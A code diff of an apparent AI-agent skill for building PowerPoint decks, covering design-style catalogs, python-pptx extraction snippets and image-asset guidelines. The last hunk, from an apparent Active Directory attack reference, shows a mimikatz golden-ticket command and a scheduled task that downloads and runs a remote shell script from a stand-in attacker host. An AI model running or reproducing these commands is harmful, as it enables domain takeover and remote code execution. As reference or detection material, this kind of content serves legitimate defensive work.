**Source:** [corazzon/pptx-design-styles](https://github.com/corazzon/pptx-design-styles)
|
|
58
|
+
**30 styles:** Glassmorphism, Neo-Brutalism, Bento Grid, Dark Academia, Gradient Mesh, Claymorphism, Swiss International, Aurora Neon Glow, Retro Y2K, Nordic Minimalism, Typographic Bold, Duotone Color Split, Monochrome Minimal, Cyberpunk Outline, Editorial Magazine, Pastel Soft UI, Dark Neon Miami, Hand-crafted Organic, Isometric 3D Flat, Vaporwave, Art Deco Luxe, Brutalist Newspaper, Stained Glass Mosaic, Liquid Blob Morphing, Memphis Pop Pattern, Dark Forest Nature, Architectural Blueprint, Maximalist Collage, SciFi Holographic Data, Risograph Print
|
|
59
|
+
**Style families:** modern-ui, editorial, retro, technical, luxury, organic, experimental
|
|
60
|
+
**Source inputs per style:** hex colors, font pairings, layout rules, signature elements, avoid lists
|
|
61
|
+
**Agent rule:** Pick one style, lock its palette and typography, then translate visual effects into explicit editable `layout_tree` primitives. Use raster assets only as supporting visuals. Do not mix styles accidentally.
|
|
62
|
+
**Best for:** Choosing a predefined modern style from a broad catalog; generating multiple visual direction options before deck production
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
### `primer-primitives`
|
|
67
|
+
**Name:** Primer Primitives Design Tokens
|
|
68
|
+
**Kind:** design-system-context
|
|
69
|
+
**License:** MIT — Copyright (c) 2018 GitHub Inc.
|
|
70
|
+
**Source:** [primer/primitives](https://github.com/primer/primitives)
|
|
71
|
+
**Token categories:** color, spacing, typography, motion, z-index
|
|
72
|
+
**Spacing scale:** xxs, xs, sm, md, lg, xl
|
|
73
|
+
**Typography roles:** display, title, subtitle, body, caption, codeBlock, codeInline
|
|
74
|
+
**Color examples:** `#ffffff`, `#1f2328`, `#F6F8FA`, `#0969da`, `#1a7f37`, `#cf222e`
|
|
75
|
+
**Best for:** GitHub-style decks, developer products, token-driven UI reviews, engineering documentation
|
|
76
|
+
|
|
77
|
+
Use the entries above to:
|
|
78
|
+
|
|
79
|
+
1. Select the profile ID that best matches the user's audience, topic, and delivery context.
|
|
80
|
+
2. Lock the palette, typography, and signature element conventions described in the profile's `source_signals`.
|
|
81
|
+
3. Record the selected profile ID, source URL, and license in `summary.design_context` before building the deck spec.
|
|
82
|
+
4. Translate the style signals directly into explicit `layout_tree` primitives — colors, fills, rules, card shells, accent bands, and bboxes.
|
|
83
|
+
|
|
84
|
+
### Fetching Live References from getdesign.md
|
|
85
|
+
|
|
86
|
+
When the user wants a deck that mirrors a specific real brand or product, use the `getdesign-md-design-systems` profile to pull a live analysis:
|
|
87
|
+
|
|
88
|
+
1. Browse the catalog at `https://getdesign.md/design-md` to find the brand and its `{slug}` (some slugs carry a TLD, e.g. `linear.app`, `mistral.ai`).
|
|
89
|
+
2. Fetch the entry at `https://getdesign.md/{slug}/design-md` (e.g., `https://getdesign.md/apple/design-md`).
|
|
90
|
+
3. Read the DESIGN.md sections and map them onto deck decisions:
|
|
91
|
+
- **Colors (01)** → deck palette: `Primary`/`Accent` for emphasis and CTAs, `Ink`/`Muted` for text, `Canvas`/`Canvas Alt` for backgrounds and bands, `Hairline` for rules and dividers.
|
|
92
|
+
- **Typography (02)** → title vs. body type roles, weights, and relative size hierarchy (display tier for slide titles/kickers, body tier for content).
|
|
93
|
+
- **Foundations (06–08)** → spacing rhythm, corner radii for card shells/buttons, and elevation cues for layered cards.
|
|
94
|
+
- **Components (03–05)** + **signature motifs** (intro prose) → card/pill/divider styling and the brand's hallmark accents (e.g., gradient bands).
|
|
95
|
+
4. Record the entry URL, the "independent analysis / not affiliated" disclaimer, and the extracted tokens in `summary.design_context`, then translate the signals into explicit `layout_tree` primitives.
|
|
96
|
+
5. Never embed scraped imagery, screenshots, logos, or other proprietary brand assets; use the signals as design guidance only. If the fetch fails or no slug matches, fall back to a bundled profile and flag the fallback in `summary.design_context`.
|
|
@@ -0,0 +1,150 @@
|
|
|
1
|
+
# PPTX Python Snippets
|
|
2
|
+
|
|
3
|
+
It describes how to approach PPTX extraction and style analysis with `python-pptx`, using short illustrative
|
|
4
|
+
snippets — not a packaged module to copy wholesale.
|
|
5
|
+
|
|
6
|
+
- Do not treat these snippets as bundled runtime modules.
|
|
7
|
+
- Do not import from this file or recreate `.py` files under this skill as packaged resources.
|
|
8
|
+
- When a task needs extraction or style analysis, write task-local code with `python-pptx`, using these patterns as reference.
|
|
9
|
+
|
|
10
|
+
## Shared constants
|
|
11
|
+
|
|
12
|
+
Most helpers depend on two values: the EMU-per-inch conversion factor and the
|
|
13
|
+
DrawingML namespace used when reading raw OOXML.
|
|
14
|
+
|
|
15
|
+
```python
|
|
16
|
+
EMU_PER_INCH = 914400
|
|
17
|
+
DRAWING_NS = "{http://schemas.openxmlformats.org/drawingml/2006/main}"
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
def _inches(value: int) -> float:
|
|
21
|
+
return round(int(value or 0) / EMU_PER_INCH, 4)
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
## Style master: compact design context
|
|
25
|
+
|
|
26
|
+
**Goal:** summarize a reference deck into a compact "style master" (colors,
|
|
27
|
+
fonts, font sizes, shape styles, layout/region usage) suitable for prompting a
|
|
28
|
+
generator. Counters drive a `most_common` ranking; results are truncated by
|
|
29
|
+
`max_items`.
|
|
30
|
+
|
|
31
|
+
### Approach
|
|
32
|
+
|
|
33
|
+
1. Open with `Presentation(path)`; read slide size in inches.
|
|
34
|
+
2. Pull theme tokens (colors/fonts) directly from `ppt/theme/theme1.xml` via `zipfile`.
|
|
35
|
+
3. Walk each slide's shapes (recursing into groups), tallying tokens into `Counter`s.
|
|
36
|
+
4. Emit `styles`, `brands`, `template`, and `layout` sections from the top-N tallies.
|
|
37
|
+
|
|
38
|
+
### Illustrative snippet
|
|
39
|
+
|
|
40
|
+
```python
|
|
41
|
+
from collections import Counter
|
|
42
|
+
|
|
43
|
+
def analyze(presentation) -> dict:
|
|
44
|
+
colors: Counter[str] = Counter()
|
|
45
|
+
fonts: Counter[str] = Counter()
|
|
46
|
+
for slide in presentation.slides:
|
|
47
|
+
for shape in _iter_shapes(slide.shapes):
|
|
48
|
+
colors.update(_shape_colors(shape).values())
|
|
49
|
+
fonts.update(_text_styles(shape)["fonts"])
|
|
50
|
+
return {
|
|
51
|
+
"colors": [{"value": v, "count": c} for v, c in colors.most_common(10)],
|
|
52
|
+
"fonts": [{"value": v, "count": c} for v, c in fonts.most_common(10)],
|
|
53
|
+
}
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### Key helper patterns
|
|
57
|
+
|
|
58
|
+
- **Recursive shape walk** — yield each shape, then recurse when it exposes `.shapes`:
|
|
59
|
+
|
|
60
|
+
```python
|
|
61
|
+
def _iter_shapes(shapes):
|
|
62
|
+
for shape in shapes:
|
|
63
|
+
yield shape
|
|
64
|
+
if hasattr(shape, "shapes"):
|
|
65
|
+
yield from _iter_shapes(shape.shapes)
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
- **Color normalization** — read `color.rgb`, fall back to `theme_color`, and
|
|
69
|
+
normalize to `#RRGGBB` or `theme:<token>`.
|
|
70
|
+
- **Region/flow classification** — bucket each shape's bbox center into
|
|
71
|
+
`top/middle/bottom` × `left/center/right`, and infer `row` / `column` / `grid`
|
|
72
|
+
from the spread of centers.
|
|
73
|
+
- **Neutral filtering** — treat colors with low channel spread (`max-min <= 18`)
|
|
74
|
+
as neutrals so brand accents rank above grays.
|
|
75
|
+
|
|
76
|
+
## Extractor: structured deck capture
|
|
77
|
+
|
|
78
|
+
**Goal:** turn a deck into a structured tree of slides → groups → objects, with
|
|
79
|
+
optional media extraction and a parallel list of raw OOXML render elements.
|
|
80
|
+
|
|
81
|
+
### Approach
|
|
82
|
+
|
|
83
|
+
1. For each slide, build a root group bbox covering the full slide.
|
|
84
|
+
2. Walk shapes recursively; groups become nested groups, leaf shapes become objects.
|
|
85
|
+
3. Classify each object by `kind` (`text`, `table`, `image`, `chart`, `connector`, …)
|
|
86
|
+
and capture kind-specific `content` plus `style`.
|
|
87
|
+
4. Optionally write media to an asset dir, or base64-embed when no dir is given.
|
|
88
|
+
5. Read speaker notes by resolving slide `_rels` to their `notesSlide` parts.
|
|
89
|
+
|
|
90
|
+
### Illustrative snippet
|
|
91
|
+
|
|
92
|
+
```python
|
|
93
|
+
def _bbox(shape) -> dict:
|
|
94
|
+
return {
|
|
95
|
+
"x": _inches(getattr(shape, "left", 0)),
|
|
96
|
+
"y": _inches(getattr(shape, "top", 0)),
|
|
97
|
+
"width": _inches(getattr(shape, "width", 0)),
|
|
98
|
+
"height": _inches(getattr(shape, "height", 0)),
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
def _kind(shape, shape_type: str) -> str:
|
|
102
|
+
if getattr(shape, "has_table", False):
|
|
103
|
+
return "table"
|
|
104
|
+
if getattr(shape, "has_chart", False):
|
|
105
|
+
return "chart"
|
|
106
|
+
if "picture" in shape_type or getattr(shape, "image", None):
|
|
107
|
+
return "image"
|
|
108
|
+
if getattr(shape, "has_text_frame", False) and shape.text.strip():
|
|
109
|
+
return "text"
|
|
110
|
+
return "shape"
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### Kind-specific content notes
|
|
114
|
+
|
|
115
|
+
- **text** — capture `text` plus rich paragraphs (runs with font size, bold,
|
|
116
|
+
italic, color, hyperlink, paragraph alignment/level).
|
|
117
|
+
- **table** — emit `rows`, plus row/col counts, widths/heights, banding flags,
|
|
118
|
+
and merged-cell origins (`span_rows` / `span_cols`).
|
|
119
|
+
- **image** — record alt text, crop fractions, and either a written asset path
|
|
120
|
+
or base64 blob; flag `missing_embedded_image` when the blob is absent.
|
|
121
|
+
- **chart** — record `chart_type`, optional title, categories, and series values.
|
|
122
|
+
- **line / connector** — derive endpoints from the bbox plus flip flags, and read
|
|
123
|
+
arrow head/tail types from the `<a:ln>` element.
|
|
124
|
+
|
|
125
|
+
### Media & notes helpers
|
|
126
|
+
|
|
127
|
+
- **Embedded relationship ids** — iterate the shape element and collect attributes
|
|
128
|
+
ending in `}embed`, then resolve via `shape.part.related_part(rid)`.
|
|
129
|
+
- **Package media counts** — open the `.pptx` with `zipfile` and count names under
|
|
130
|
+
`ppt/media/` and `ppt/embeddings/`.
|
|
131
|
+
- **Notes** — parse each `ppt/slides/_rels/slideN.xml.rels`, follow the
|
|
132
|
+
`notesSlide` relationship, and join `<a:t>` text nodes.
|
|
133
|
+
|
|
134
|
+
## Safe attribute access
|
|
135
|
+
|
|
136
|
+
`python-pptx` raises on many optional properties (fills, colors, line styles).
|
|
137
|
+
Wrap reads in a small guard so extraction degrades gracefully:
|
|
138
|
+
|
|
139
|
+
```python
|
|
140
|
+
def _safe_attr(value, name):
|
|
141
|
+
if value is None:
|
|
142
|
+
return None
|
|
143
|
+
try:
|
|
144
|
+
return getattr(value, name)
|
|
145
|
+
except (AttributeError, TypeError, ValueError):
|
|
146
|
+
return None
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
Apply the same defensive pattern around `fill.type`, `line.width`, `color.rgb`,
|
|
150
|
+
`shape.image`, and chart/table accessors, since any of them can fail on real-world decks.
|
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
# PPTX Reference Deck Analysis Recipes
|
|
2
|
+
|
|
3
|
+
This file is static guidance for inspecting existing `.pptx` files and defining expected analysis outputs.
|
|
4
|
+
|
|
5
|
+
## Scope
|
|
6
|
+
|
|
7
|
+
- Keep only static guidance for reference-deck prompt context, extraction, folder analysis, and style-master inspection.
|
|
8
|
+
- Do not place runtime scripts, model assets, importable Python modules, or generated artifacts here.
|
|
9
|
+
- This skill ships no importable code; implement the extraction/style-analysis contract on demand with `python-pptx`.
|
|
10
|
+
- `python-snippets.md` holds documentation-only `python-pptx` guidance — approach notes plus short illustrative snippets. Do not import from it or recreate packaged `.py` resources from it.
|
|
11
|
+
|
|
12
|
+
## Analysis Recipes
|
|
13
|
+
|
|
14
|
+
### 1. Prompt Context Recipe
|
|
15
|
+
|
|
16
|
+
Build compact LLM-ready context from a reference deck.
|
|
17
|
+
|
|
18
|
+
Expected result:
|
|
19
|
+
|
|
20
|
+
- `slide_count`, `slide_size`
|
|
21
|
+
- `styles`, `brands`, `template`, `layout`
|
|
22
|
+
- Per-slide title/text snippets and shape counts
|
|
23
|
+
|
|
24
|
+
### 2. Full Extraction Recipe
|
|
25
|
+
|
|
26
|
+
Produce a full JSON extraction including:
|
|
27
|
+
|
|
28
|
+
- `summary` complexity metrics
|
|
29
|
+
- `slides[*].layout_tree` with groups/objects
|
|
30
|
+
- `ooxml_elements` for render-aware inspection
|
|
31
|
+
|
|
32
|
+
### 3. Folder Batch Recipe
|
|
33
|
+
|
|
34
|
+
Process a folder of decks to produce:
|
|
35
|
+
|
|
36
|
+
- One `.pptx-spec.json` file per deck
|
|
37
|
+
- A `manifest.json` to track outputs
|
|
38
|
+
|
|
39
|
+
### 4. Style Master Recipe
|
|
40
|
+
|
|
41
|
+
Run style-only analysis when you need design lock signals:
|
|
42
|
+
|
|
43
|
+
- Palette and accent colors
|
|
44
|
+
- Typography and font-size distribution
|
|
45
|
+
- Master/layout usage and flow patterns
|
|
46
|
+
|
|
47
|
+
### 5. Reference Template Catalog Recipe
|
|
48
|
+
|
|
49
|
+
When a reference deck should inform a new deck's layout rhythm, produce a
|
|
50
|
+
human-readable catalog from the existing prompt-context, extraction, and
|
|
51
|
+
style-master outputs. This is a view over the same analysis, not a separate
|
|
52
|
+
extraction workflow.
|
|
53
|
+
|
|
54
|
+
- List every source slide by **zero-based** index.
|
|
55
|
+
- Record `layout_role`, a short visual description, usable regions,
|
|
56
|
+
placeholder roles, visual structures, and content-fit constraints.
|
|
57
|
+
- Use the catalog to select layout inspiration for the new outline. Re-author
|
|
58
|
+
every target slide with an independent coordinate-explicit `layout_tree`.
|
|
59
|
+
- Do not clone, rearrange, replace text in, or otherwise mutate the source deck.
|
|
60
|
+
- Do not inherit source content, fonts, images, or proprietary assets without
|
|
61
|
+
explicit permission and licensing evidence.
|
|
62
|
+
|
|
63
|
+
Suggested catalog shape:
|
|
64
|
+
|
|
65
|
+
```json
|
|
66
|
+
{
|
|
67
|
+
"source_deck": "reference.pptx",
|
|
68
|
+
"slide_count": 12,
|
|
69
|
+
"slides": [
|
|
70
|
+
{
|
|
71
|
+
"source_index": 0,
|
|
72
|
+
"layout_role": "cover",
|
|
73
|
+
"description": "Dark cover with title and subtitle regions",
|
|
74
|
+
"regions": ["title", "subtitle", "supporting visual"],
|
|
75
|
+
"placeholder_roles": ["ctrTitle", "subTitle"],
|
|
76
|
+
"visual_structures": ["full-bleed color field", "corner motif"],
|
|
77
|
+
"reuse_constraints": ["best for one title and one short subtitle"]
|
|
78
|
+
}
|
|
79
|
+
]
|
|
80
|
+
}
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
## Related Responsibilities
|
|
84
|
+
|
|
85
|
+
This reference covers PPTX prompt context, extraction, folder batch analysis,
|
|
86
|
+
style-master inspection, and the derived reference-template catalog only.
|
|
87
|
+
|
|
88
|
+
- Use the parent `pptx-deck-creation` workflow for narrative/source preparation,
|
|
89
|
+
together with [design profiles](design-profiles.md) for profile selection.
|
|
90
|
+
- Use [visual asset guidelines](visual-asset-adapters.md) for acquiring and
|
|
91
|
+
placing icons, images, SVGs, and infographics.
|
|
@@ -0,0 +1,158 @@
|
|
|
1
|
+
# Visual Asset Guidelines
|
|
2
|
+
|
|
3
|
+
This skill cannot bundle helper scripts, so these guidelines show how to **perform each visual-asset
|
|
4
|
+
ability inline** using public APIs and short, self-contained snippets you run at request time
|
|
5
|
+
(scratch cell or terminal).
|
|
6
|
+
|
|
7
|
+
How to use a guideline:
|
|
8
|
+
|
|
9
|
+
1. Pick the ability you need below.
|
|
10
|
+
2. Run the inline snippet (adjust inputs) in an ephemeral scratch file or terminal — do not save it
|
|
11
|
+
into the skill, since the skill keeps only `references/`.
|
|
12
|
+
3. Place the returned local asset path into `layout_tree.objects` with `content.path`, `content.alt`,
|
|
13
|
+
`bbox`, `z_index`, and `classification`.
|
|
14
|
+
|
|
15
|
+
Shared rules:
|
|
16
|
+
|
|
17
|
+
- Always return a **local file path** for any placed asset, plus `content.alt`.
|
|
18
|
+
- Record provenance (`source`, `license`, `provider`, `model`) for audits.
|
|
19
|
+
- On failure, write a failure manifest; never substitute a placeholder and call it generated.
|
|
20
|
+
- Never request secrets in chat or a prompt dialog. For cloud auth use `.env` or `az login`.
|
|
21
|
+
- Before a billable generation call or any request that sends user-provided or
|
|
22
|
+
source material to a third party, disclose the provider/model, the material
|
|
23
|
+
that will leave the machine, likely cost, and output path. Obtain explicit
|
|
24
|
+
confirmation unless the user already authorized that exact operation.
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 1. Icon Search
|
|
29
|
+
|
|
30
|
+
Use the public Iconify API — no key required.
|
|
31
|
+
|
|
32
|
+
- Search: `https://api.iconify.design/search?query=<q>&limit=<n>`
|
|
33
|
+
- Download SVG: `https://api.iconify.design/<prefix>/<name>.svg?color=%23<hex>`
|
|
34
|
+
|
|
35
|
+
```python
|
|
36
|
+
import json, urllib.parse, urllib.request
|
|
37
|
+
from pathlib import Path
|
|
38
|
+
|
|
39
|
+
def icon_search(query, limit=8, prefix=None, color=None, out_dir="assets/icons"):
|
|
40
|
+
q = urllib.parse.quote(query)
|
|
41
|
+
url = f"https://api.iconify.design/search?query={q}&limit={limit}"
|
|
42
|
+
if prefix:
|
|
43
|
+
url += f"&prefix={urllib.parse.quote(prefix)}"
|
|
44
|
+
data = json.load(urllib.request.urlopen(url, timeout=15))
|
|
45
|
+
Path(out_dir).mkdir(parents=True, exist_ok=True)
|
|
46
|
+
results = []
|
|
47
|
+
for icon_id in data.get("icons", []):
|
|
48
|
+
pfx, name = icon_id.split(":", 1)
|
|
49
|
+
svg_url = f"https://api.iconify.design/{pfx}/{name}.svg"
|
|
50
|
+
if color:
|
|
51
|
+
svg_url += f"?color=%23{color}"
|
|
52
|
+
svg_path = Path(out_dir) / f"{pfx}_{name}.svg"
|
|
53
|
+
svg_path.write_bytes(urllib.request.urlopen(svg_url, timeout=15).read())
|
|
54
|
+
results.append({"id": icon_id, "svg_path": str(svg_path), "license": "per-set (see iconify.design)"})
|
|
55
|
+
return {"query": query, "results": results}
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
- Prefer simple, single-color icons matching the theme accent.
|
|
59
|
+
- Use icons as supporting cues, not replacements for required text.
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
## 2. Web Image Search
|
|
64
|
+
|
|
65
|
+
Prefer the browsing or image-search capability available in the current client.
|
|
66
|
+
When you already have a direct image URL (from search results or the user), download it locally:
|
|
67
|
+
|
|
68
|
+
```python
|
|
69
|
+
import urllib.request
|
|
70
|
+
from pathlib import Path
|
|
71
|
+
|
|
72
|
+
def download_image(url, out_path="assets/images/img1.jpg"):
|
|
73
|
+
Path(out_path).parent.mkdir(parents=True, exist_ok=True)
|
|
74
|
+
req = urllib.request.Request(url, headers={"User-Agent": "pptx-builder/1.0"})
|
|
75
|
+
Path(out_path).write_bytes(urllib.request.urlopen(req, timeout=20).read())
|
|
76
|
+
return {"url": url, "local_path": out_path}
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
- Capture `source` and `license` for attribution; verify usage rights before placing.
|
|
80
|
+
- Reference the saved file via `content.path`; do not hotlink remote URLs into the deck.
|
|
81
|
+
- Do not use image placeholders as fallback assets; select an approved asset or omit the object.
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## 3. Vector Asset Decision
|
|
86
|
+
|
|
87
|
+
Use a true SVG only when it is already a clean vector asset or when the source
|
|
88
|
+
contains no essential text or data that needs editing. Do not wrap a raster in
|
|
89
|
+
an SVG and treat the result as editable.
|
|
90
|
+
|
|
91
|
+
- Do not trace a raster merely to satisfy an editability requirement.
|
|
92
|
+
- If an illustration contains essential text, recreate the text with native
|
|
93
|
+
PowerPoint objects.
|
|
94
|
+
- Keep the original raster or a non-compliant SVG only as a supporting visual or
|
|
95
|
+
hidden reference.
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## 4. Text → Infographic
|
|
100
|
+
|
|
101
|
+
Generate through a user-managed provider (OpenAI or Azure OpenAI). Read credentials from environment;
|
|
102
|
+
never accept secrets via chat.
|
|
103
|
+
|
|
104
|
+
Before running the snippet, obtain the external-call confirmation described in
|
|
105
|
+
the shared rules. If `output_path` already exists, choose a new path or obtain
|
|
106
|
+
separate overwrite confirmation; do not silently replace it.
|
|
107
|
+
|
|
108
|
+
```python
|
|
109
|
+
import base64, json, os
|
|
110
|
+
from pathlib import Path
|
|
111
|
+
from openai import OpenAI, AzureOpenAI # provided by the user's environment
|
|
112
|
+
|
|
113
|
+
def text_to_infographic(prompt, output_path, provider="openai",
|
|
114
|
+
model_or_deployment="gpt-image-1", size="1024x1024"):
|
|
115
|
+
output = Path(output_path)
|
|
116
|
+
manifest_path = output.with_suffix(".manifest.json")
|
|
117
|
+
existing = [path for path in (output, manifest_path) if path.exists()]
|
|
118
|
+
if existing:
|
|
119
|
+
raise FileExistsError(f"Refusing to overwrite existing paths: {existing}")
|
|
120
|
+
manifest_path.parent.mkdir(parents=True, exist_ok=True)
|
|
121
|
+
manifest = {"provider": provider, "model_or_deployment": model_or_deployment,
|
|
122
|
+
"output_path": output_path}
|
|
123
|
+
try:
|
|
124
|
+
if provider == "azure-openai":
|
|
125
|
+
client = AzureOpenAI(
|
|
126
|
+
azure_endpoint=os.environ["AZURE_OPENAI_ENDPOINT"],
|
|
127
|
+
api_key=os.environ.get("AZURE_OPENAI_API_KEY"),
|
|
128
|
+
api_version=os.environ.get("AZURE_OPENAI_API_VERSION", "2024-02-01"),
|
|
129
|
+
)
|
|
130
|
+
else:
|
|
131
|
+
client = OpenAI(api_key=os.environ["OPENAI_API_KEY"])
|
|
132
|
+
result = client.images.generate(model=model_or_deployment, prompt=prompt, size=size)
|
|
133
|
+
output.parent.mkdir(parents=True, exist_ok=True)
|
|
134
|
+
output.write_bytes(base64.b64decode(result.data[0].b64_json))
|
|
135
|
+
manifest["status"] = "ok"
|
|
136
|
+
except Exception as exc: # report, never fake-generate
|
|
137
|
+
manifest.update(status="error", error=str(exc))
|
|
138
|
+
manifest_path.write_text(json.dumps(manifest, indent=2))
|
|
139
|
+
return manifest
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
- Ask the user for any missing non-secret values: provider, prompt,
|
|
143
|
+
model/deployment, size, and output path.
|
|
144
|
+
- Use `.env` or `az login` for auth; never ask for keys/tokens in chat or the dialog.
|
|
145
|
+
- Use generated art as a supporting visual. Recreate essential text, labels,
|
|
146
|
+
metrics, and steps with native PowerPoint objects. Add a vector asset only
|
|
147
|
+
when it is a clean, editable source.
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## 5. NotebookLM Infographic Bridge
|
|
152
|
+
|
|
153
|
+
NotebookLM has no public generation API, so treat this as an optional, user-configured bridge.
|
|
154
|
+
|
|
155
|
+
- If the user has a NotebookLM/MCP bridge tool configured, call it with `source_refs` + `prompt`,
|
|
156
|
+
then save the returned image locally and record provenance.
|
|
157
|
+
- If no bridge is configured, **fall back to Text → Infographic (section 4)** or omit the asset.
|
|
158
|
+
- Apply the same provenance and failure-manifest rules as the other generation guidelines.
|
|
@@ -209,7 +209,7 @@ mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
|
|
|
209
209
|
|
|
210
210
|
# 3. Create scheduled task
|
|
211
211
|
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
|
|
212
|
-
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
|
|
212
|
+
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" # security-allowlist: offensive scheduled-task detection example
|
|
213
213
|
schtasks /run /s DOMAIN /TN "enterprise"
|
|
214
214
|
```
|
|
215
215
|
|